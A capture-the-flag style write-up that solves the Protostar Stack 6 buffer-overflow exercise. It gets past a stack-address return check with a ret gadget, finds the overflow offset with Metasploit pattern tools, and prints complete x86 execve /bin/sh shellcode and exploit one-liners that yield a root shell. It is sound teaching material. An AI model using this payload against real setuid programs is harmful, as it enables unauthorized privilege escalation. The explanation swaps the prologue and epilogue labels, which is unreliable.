Exploit Exercises — Protostar Stack 6

We can see the binary uses a function __builtin_return_address() . This function returns the return address of the current function. Read more about it here.

The program looks almost like stack5 with a small difference:

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

If the return address starts with 0xff of 0xbf the program stops. Check the result of & operation using python:

$ python -c "print hex(0xffffffff & 0xbf000000)"
0xbf000000
$ python -c "print hex(0xbfffffff & 0xbf000000)"
0xbf000000

If we run gdb and look at registers after execution of the program we see that 0xbf****** is simply stack addresses:

(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) run
Starting program: /opt/protostar/bin/stack6
...
(gdb) info registers
...
esp            0xbffff690    0xbffff690
ebp            0xbffff698    0xbffff698
...

That means that if the return address points to the stack, the program exits. That’s why we were told to use ret2libc or ROP. I have an article on this topic I will about it some time later. Actually, they didn’t mention one more way - jmp esp technique. In this case, the return address (address of the gadget jmp esp) will not be on the stack, it can be found anywhere, even in a shared library. Actually it semi-ROP technique and it’s pretty easy to do, so this is how I did this task.

To be a bit clearer I need to explain how it works.

Every function has an epilogue and a prologue. An epilogue looks like this:

push  ebp
mov   ebp, esp

It saves old ebp and moves epb “closer” to esp (equal actually) so that a new function had a new stack base address.

A prologue looks like this:

mov    esp, ebp
pop    ebp
ret

It cleares local variables (vis mov esp, ebp) and restores ebp. When our program runs ret instruction it already has esp register restored. It will point to the return address on the stack. After ret is executed, esp register is reduced by 4 bytes (the size of the address in 32-bit system). So if our exploit looks like JUNK + RET + SHELLCODE, esp will point to the shellcode.

Now we need to find jmp esp gadget. I’ll be using peda as it more informative than standard gdb and has some other features.

I copied the executable file to my local machine to find offsets:

$ scp user@<ip>:/opt/protostar/bin/stack6 ./

From the command below we know that our stack has no NX bit set:

$ scanelf -e stack6
 TYPE   STK/REL/PTL FILE
ET_EXEC **RWX** --- RW- stack6

Additionally, you can install and run exectack program:

$ sudo apt install execstack
$ execstack stack6
X stack6

That means that we can execute code from the stack.

Now we run gdb and look for gadgets:

$ gdb stack6
...
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)

We see that there is no jmp esp gadget, but the first one is ret, and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE.

The address of the gadget ret is 0x80484f9

Now we find offset before eip like we did for stack5:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**

So we need to rewrite 80 bytes. Now we can create our shellcode:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:

(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4:    0xdb31c031

So the shellcode is at 0xbffffbe4. Repalce AAAA with this address. Don’t forget we are on little-endian machine:

python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt

Run program with exploit.txt as input and get root:

$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

Also you can run exploit like this:

(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6